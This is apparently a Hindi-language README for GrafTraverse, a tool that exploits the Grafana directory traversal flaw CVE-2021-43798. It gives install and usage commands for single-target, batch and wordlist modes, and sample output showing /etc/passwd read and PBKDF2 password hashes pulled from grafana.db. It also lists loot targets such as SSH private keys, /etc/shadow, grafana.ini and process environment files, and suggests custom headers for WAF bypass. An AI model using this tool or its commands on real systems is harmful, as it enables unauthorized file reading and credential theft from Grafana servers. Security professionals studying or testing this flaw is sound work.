
CVE-2021-43798 MiNi शोषण ढांचा
Grafana निर्देशिका ट्रैवर्सल (CVE-2021-43798) के अधिकृत सुरक्षा परीक्षण के लिए कमांड-लाइन स्वचालन उपकरण।
CVE-2021-43798 Grafana 8.x में एक अप्रमाणित निर्देशिका ट्रैवर्सल भेद्यता है जो हमलावरों को /public/plugins/ एंडपॉइंट के माध्यम से अंतर्निहित फाइल सिस्टम पर मनमानी फाइलें पढ़ने की अनुमति देती है। मूल कारण प्लगइन एसेट अनुरोधों पर अनुचित पथ स्वच्छता है, जो ../ अनुक्रमों को इच्छित निर्देशिका से बचने में सक्षम बनाती है।
GrafTraverse मूल प्रूफ-ऑफ-कॉन्सेप्ट का पूर्ण पुनर्लेखन है। यह महत्वपूर्ण अनुरोध-हैंडलिंग बग को ठीक करता है, मल्टी-थ्रेडेड बैच स्कैनिंग, स्वचालित प्लगइन खोज, क्रेडेंशियल निष्कर्षण और संरचित रिपोर्टिंग जोड़ता है — जो इसे रेड टीमों और पेनिट्रेशन परीक्षकों के लिए एक उत्पादन-ग्रेड उपकरण बनाता है।
# Clone the repository
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse
# Ensure requests is available (it ships with Kali)
pip3 install requests
# Make executable
chmod +x GrafTraverse.py
GrafTraverse एक उप-कमांड-आधारित CLI का उपयोग करता है। सभी कमांड --help का समर्थन करते हैं।
एक होस्ट के विरुद्ध इंटरैक्टिव मेनू लॉन्च करें:
python3 GrafTraverse.py single -u http://IP:PORT
============================================================
INTERACTIVE MODE
============================================================
1. /etc/passwd
2. grafana.ini
3. grafana.db
4. Custom path
5. Full automated loot
6. Scan plugins
7. Exit
============================================================
शोषण के बिना जल्दी से पहचानें कि कौन सा प्लगइन एंडपॉइंट भेद्य है:
python3 GrafTraverse.py scan -u http://target:PORT
एक फ़ाइल से लक्ष्य लोड करें और उन्हें एक साथ प्रोसेस करें:
python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv
targets.txt फ़ॉर्मेट:
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# Lines starting with # are ignored
गहन ट्रैवर्सल के लिए कस्टम फ़ाइल सूची फ़ीड करें:
python3 GrafTraverse.py single -u http://target:3000 --wordlist sensitive_files.txt --output-dir ./loot --json log.json
Burp Suite के माध्यम से रूट करें और कस्टम हेडर जोड़ें:
python3 GrafTraverse.py single -u http://target:3000 --proxy http://127.0.0.1:8080 -H "X-Forwarded-For: 127.0.0.1" -H "Authorization: Bearer eyJ0..."
singlebatch| फ्लैग | विवरण |
|---|---|
-l, --list | लक्ष्य URL वाली फ़ाइल (आवश्यक) |
--workers | एक साथ थ्रेड (डिफ़ॉल्ट: 5) |
(सभी single फ्लैग समर्थित हैं) |
scan| फ्लैग | विवरण |
|---|---|
-u, --url | लक्ष्य URL (आवश्यक) |
| (सभी नेटवर्क फ्लैग समर्थित हैं) |
[+] Output: 20260526_GrafTraverse
[*] Testing: /etc/passwd (via alertlist)
[+] SUCCESS: /etc/passwd (1874 bytes)
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd
[*] Testing: /var/lib/grafana/grafana.db (via alertlist)
[+] SUCCESS: /var/lib/grafana/grafana.db (98304 bytes)
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extracted 3 password hashes:
admin:PBKDF2$sha256$10000$...base64...
editor:PBKDF2$sha256$10000$...base64...
viewer:PBKDF2$sha256$10000$...base64...
अंतर्निहित लूट अनुक्रम निम्नलिखित फ़ाइलों को क्रम में पुनर्प्राप्त करने का प्रयास करता है:
| विशेषता | विवरण |
|---|
| बहु-प्लगइन ब्रूट-फोर्स | स्वचालित रूप से 40 से अधिक अंतर्निहित प्लगइनों की जांच करता है ताकि एक भेद्य पथ खोजा जा सके |
| इंटरैक्टिव मोड | मेनू-संचालित एकल-लक्ष्य शोषण जिसमें लाइव फ़ाइल पूर्वावलोकन शामिल है |
| बैच मोड | कॉन्फ़िगरेबल थ्रेड वर्कर्स के साथ एक साथ बहु-लक्ष्य स्कैनिंग |
| वर्डलिस्ट मोड | कस्टम वर्डलिस्ट का उपयोग करके गहन फ़ाइल गणना |
| स्वचालित हैश निष्कर्षण | डाउनलोड किए गए grafana.db से PBKDF2 पासवर्ड हैश को स्वचालित रूप से निकालता है |
| संरचित लॉगिंग | रिपोर्टिंग के लिए परिणामों को JSON और CSV में निर्यात करें |
| प्रॉक्सी सपोर्ट | Burp, ZAP, या किसी भी HTTP प्रॉक्सी के माध्यम से ट्रैफ़िक रूट करें (--proxy) |
| कस्टम हेडर | WAF बाइपास या ऑथ टोकन के लिए मनमाने हेडर इंजेक्ट करें (-H) |
| ट्रैवर्सल अनुकूलन | गैर-मानक वातावरण के लिए डिफ़ॉल्ट ट्रैवर्सल गहराई ओवरराइड करें (--depth) |
| स्मार्ट फ़िल्टरिंग | प्लगइन JS/CSS/HTML प्रतिक्रियाओं को अस्वीकार करके झूठी-सकारात्मकता को समाप्त करता है |
| शून्य निर्भरता | केवल requests की आवश्यकता है (Kali/Parrot पर पूर्व-स्थापित) |
| फ्लैग | विवरण |
|---|
-u, --url | लक्ष्य URL (आवश्यक) |
--no-download | केवल-दृश्य मोड, फ़ाइलें सहेजें नहीं |
-t, --timeout | सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: 10) |
--proxy | HTTP/HTTPS प्रॉक्सी URL |
-H, --header | कस्टम हेडर (दोहराने योग्य) |
--depth | ट्रैवर्सल स्ट्रिंग (डिफ़ॉल्ट: ../../../../../../../../) |
--output-dir | पुनर्प्राप्त फ़ाइलों को सहेजने के लिए निर्देशिका |
--json | JSON लॉग फ़ाइल में परिणाम जोड़ें |
--csv | CSV लॉग फ़ाइल में परिणाम जोड़ें |
--wordlist | गणना करने के लिए पथ वाली फ़ाइल |
--plugin | किसी विशिष्ट प्लगइन नाम को बलपूर्वक उपयोग करें |
| फ़ाइल | प्रकार | संवेदनशीलता |
|---|
/etc/passwd | पाठ | उपयोगकर्ता गणना |
/etc/shadow | पाठ | पासवर्ड हैश (शायद ही पढ़ने योग्य) |
/etc/hosts | पाठ | नेटवर्क टोपोलॉजी |
/etc/hostname | पाठ | होस्ट पहचान |
/etc/grafana/grafana.ini | पाठ | Grafana रहस्य और DB क्रेडेंशियल |
/var/lib/grafana/grafana.db | बाइनरी | उपयोगकर्ता हैश और API कुंजियों वाली SQLite DB |
/var/log/grafana/grafana.log | पाठ | परिचालन खुफिया जानकारी |
/root/.ssh/id_rsa | पाठ | SSH निजी कुंजी |
/root/.ssh/authorized_keys | पाठ | कुंजी-आधारित एक्सेस मैपिंग |
/proc/self/environ | पाठ | प्रक्रिया पर्यावरण चर |
/proc/self/cmdline | पाठ | प्रक्रिया तर्क |
/proc/version | पाठ | कर्नेल संस्करण |
/proc/mounts | पाठ | फ़ाइल सिस्टम लेआउट |
/etc/os-release | पाठ | OS पहचान |
/etc/issue | पाठ | OS पहचान |
/etc/crontab | पाठ | अनुसूचित कार्य |
/etc/resolv.conf | पाठ | DNS कॉन्फ़िगरेशन |